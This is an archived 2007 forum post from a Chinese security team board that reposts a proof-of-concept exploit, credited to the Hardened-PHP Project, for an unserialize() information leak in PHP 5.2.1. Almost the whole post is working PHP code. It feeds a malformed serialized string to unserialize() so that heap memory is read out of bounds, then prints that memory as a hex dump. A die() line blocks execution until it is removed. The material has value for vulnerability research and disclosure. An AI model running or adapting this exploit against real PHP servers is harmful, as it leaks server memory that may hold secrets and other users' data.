邪恶八进制信息安全团队技术讨论组's Archiver

pub!1c 2007-3-27 19:41

PHP 5.2.1 unserialize() Local Information Leak Exploit

[code]<?php
////////////////////////////////////////////////////////////////////////
// _ _        _           _    ___ _ _ ___ //
// | || | __ _ _ _ __| | ___ _ _  ___ __| | ___ | _ \| || || _ \ //
// | __ |/ _` || &#39;_|/ _` |/ -_)| &#39; \ / -_)/ _` ||___|| _/| __ || _/ //
// |_||_|\__,_||_| \__,_|\___||_||_|\___|\__,_|   |_| |_||_||_|  //
//                                  //
//     Proof of concept code from the Hardened-PHP Project    //
//          (C) Copyright 2007 Stefan Esser         //
//                                  //
////////////////////////////////////////////////////////////////////////
//    PHP 5.2.1 unserialize() Information Leak Vulnerability    //
////////////////////////////////////////////////////////////////////////

// This is meant as a protection against remote file inclusion.
die("REMOVE THIS LINE");




$str = &#39;S:&#39;.(100*3).&#39;:"&#39;.str_repeat(&#39;\61&#39;, 100).&#39;"&#39;;
$arr = array(str_repeat(&#39;"&#39;, 200)."1"=>1,str_repeat(&#39;"&#39;, 200)."2"=>1);

$heapdump = unserialize($str);




echo "Heapdump\n---------\n\n";

$len = strlen($heapdump);
for ($b=0; $b<$len; $b+=16) {
  printf("%08x: ", $b);
  for ($i=0; $i<16; $i++) {
   if ($b+$i<$len) {
     printf ("%02x ", ord($heapdump[$b+$i]));
   } else {
     printf (".. ");
   }
  }
  for ($i=0; $i<16; $i++) {
   if ($b+$i<$len) {
     $c = ord($heapdump[$b+$i]);
   } else {
     $c = 0;
   }
   if ($c > 127 || $c < 32) {
    $c = ord(".");
   }
   printf ("%c", $c);
  }
  printf("\n");
}
?>

[/code]

页: [1]
© 1999-2008 EvilOctal Security Team